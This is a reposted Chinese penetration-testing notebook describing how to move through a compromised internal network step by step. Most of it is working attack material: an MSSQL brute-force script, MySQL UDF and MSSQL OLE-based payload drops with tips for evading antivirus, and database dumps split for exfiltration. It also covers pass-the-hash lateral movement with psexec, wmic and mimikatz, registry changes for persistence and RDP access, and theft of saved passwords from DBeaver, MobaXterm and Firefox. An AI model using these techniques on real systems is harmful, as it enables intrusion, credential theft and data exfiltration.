原文地址:https://jkme.github.io/workgroup-network-pentest.html
环境
-
Linux主机www权限
-
主机无法出外网
-
正向代理无法使用
-
B段内网
(1) F-Scrack.py
获取Redis, ES等,PS: Scrack.py的mssql模块爆破不准确,可以自己写一个简单的。
python Scrack.py -h 10.111.1.1-10.111.2.254 -p 3306,5432 -m 200 -t 6
(2) mssql.py
import pymssql
import decimal
import sys
if len(sys.argv) < 2:
print("Usage: <ip>")
exit(0)
ip = sys.argv[1]
lf = open("/tmp/" + ip+".txt","a+")
users = []
passwd = []
users = [line.rstrip('n') for line in open('/tmp/user.txt','r')]
passwd = [line.rstrip('n') for line in open('/tmp/pass.txt','r')]
for user in users:
flag=False
for p in passwd:
try:
print("user is {}t{}".format(user,p))
conn = pymssql.connect(ip, user,p, "tempdb",timeout=3)
if conn:
lf.write("Success: user:%s pass:%s" % (user, p) + "n")
print "Successful-> %s:%s" % (user,p)
flag=True
break
except Exception as e:
print(str(e))
pass
if flag:
break
lf.write("[***]")
使用scan查看keys: scan 0 match * count 100
查看类型: type <key>
hash类型: hgetall <key>
select @@plugin_dir;
select hello into outfile <plugin_dir>;
然后使用msf的自带的udf,先转换为16进制,然后导出到插件目录:
use test;
set @a=concat('', 0x<hex_of_exe>);
create table Ghost(data LONGBLOB);
insert into Ghost values("");
update Ghost set data = @a;
select data from Ghost into DUMPFILE <dir>;
create function sys_eval returns string soname 'sys_eval.dll';
drop function sys_eval; //用完删除,养成好习惯
mssql爆破尽量放在后面执行,动静会比较大。mssql爆破成功之后,最好使用CLR来获取权限,直接使用`xp_cmdshell`会死翘翘,360会拦截
已知mssql的用户密码,certutil等工具会被拦截或者报警,可以使用mssql自带的工具写入到硬盘
现开启存储过程:
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
比如exe之类的先转换为hex,然后再写入到文件:
xxd -plain /tmp/test.exe | tr -d 'n' > /tmp/dll.hex
declare @hexstring varchar(max);
set @hexstring = '转换之后的hex';
declare @file varbinary(max);
set @file = (select cast('' as xml).value('xs:hexBinary( substring(sql:variable("@hexstring"), sql:column("t.pos")) )', 'varbinary(max)')
from (select case substring(@hexstring, 1, 2) when '0x' then 3 else 0 end) as t(pos));
select @file;
declare @init int;
declare @filepath nvarchar(4000) = N'c:22.exe';
EXEC sp_OACreate 'ADODB.Stream', @init OUTPUT; -- An instace created
EXEC sp_OASetProperty @init, 'Type', 1;
EXEC sp_OAMethod @init, 'Open'; -- Calling a method
EXEC sp_OAMethod @init, 'Write', NULL, @file; -- Calling a method
EXEC sp_OAMethod @init, 'SaveToFile', NULL, @filepath, 2; -- Calling a method
EXEC sp_OAMethod @init, 'Close'; -- Calling a method
EXEC sp_OADestroy @init; -- Closed the resources
mssql备份
BACKUP DATABASE <db>
TO DISK = 'C:Windowstempdb.bak' WITH COMPRESSION, INIT, STATS = 5;
-
分卷压缩
rar.exe a -m0 -v100m C:windowstempdb.split C:windowstasksdb.bak
download C:\windows\temp\db.split.rar /var/tmp/
-
wmi
wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:result.txt"
推荐使用wmiexec.vbs:
https://github.com/l3m0n/pentest_study/blob/master/tools/wmiexec.vbs
cscript C:WindowsTasksaliwmi.vbs /cmd <ip> "C:Windowssystem32calc.exe"
-
msf
use exploit/windows/smb/psexec
show options
set RHOST 192.168.81.129
set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
set SMBUser Administrator
show options
run
-
mimikatz || Cobalt Strike
mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF /run:cmd.exe" //传递hash
-
psexec
psexec /accepteula //接受许可协议
sc delete psexesvc
psexec \192.168.1.185 -u pt007 -p admin123 cmd.exe
-
psexec.vbs
cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"
-
远程命令执行sc
net use \192.168.17.138c$ "admin123" /user:pt007
net use
dir \192.168.17.138c$
copy test.exe \192.168.17.138c$
sc \192.168.17.138 create test binpath= "c:test.exe"
sc \192.168.17.138 start test
sc \192.168.17.138 del test
access is denied
对于任何非RID 500的本地管理员(Administrator)连接到Windows Vista+的计算机,无论采用wmi、psexec还是其它方法,使用的令牌都是中等令牌, 使用wmiexec的时候会修暗示Access is Denied
在抓取hash的情况下,可以修改注册表,使得本地管理员组成员都可以远程连接,作为一种持久化的手段。
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要被登录的系统开启"Restricted Admin Mode", 在Windows8.1和Windows Server 2012R2上默认开启。Windows7和WinServer 2008需要安装2871997、2973351布丁。
启动RDP
REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f # 监听 3389 端口
开启3389
wmic /namespace:\rootcimv2terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
开启Restricted Admin mode
REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
增加防火墙规则
netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=TCP localport=3389 action=allow
dbeaver6的配置文件(不同版本存储的位置和解密方式不一样):
#密码加密存储位置:
C:Users<user>AppDataRoamingDBeaverDataworkspace6General.dbeavercredentials-config.json
#url和用户名:
C:Users<user>AppDataRoamingDBeaverDataworkspace6General.dbeaverdata-sources.json
解密脚本:
https://gist.github.com/felipou/50b60309f99b70b1e28f6d22da5d8e61
下载credentials-config.json脚本之后,使用python解密:python decrypt.py credentials-config.json,然后根据解密出来的id去data-sources.json里面找对应的IP和用户名。
老版本的密码是存储在:C:Users<users>.dbeaver4General.dbeaver-data-source.xml,可以直接使用在线解密:
http://dbeaver-password-decrypter.s3-website-us-west-2.amazonaws.com/
有一个.ini的文件,有对应的IP信息和私钥地址老版本的存储:
C:Users%USERNAME%AppDataRoamingMobaXterm
2020年的版本: C:Users%USERNAME%DocumentsMobaXterm
Windows下的配置文件在这个地方,可以根据配置文件找到笔记和ssh等存储位置:
APPDATA%CodeUsersettings.json
三好师傅讲的很详细,我选择使用firepwd.py:
firefox的配置文件目录:
%APPDATA%MozillaFirefoxProfilesxxxxxxxx.default
下载解密需要的文件:
key4.db和logins.json
下载解密脚本:
https://github.com/lclevy/firepwd
上面三个东西放在一个文件夹:
python3 firepwd.py
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAFirefox%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/
(11) 截屏
1.CS里面的:screenshot
2.msf里面: screenshot 或 use espia screengrab
3.msf的持续截屏: post/windows/gather/screen_spy
4.Win10自带: psr.exe /start /gui 0 /output C:cool.zip /maxlogsize 1
(12) 搜索文件
在C盘搜索script.js这个文件:
dir /s /b C:script.js
推 荐 阅 读
欢 迎 私 下 骚 扰
本文始发于微信公众号(潇湘信安):内网渗透流水账
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论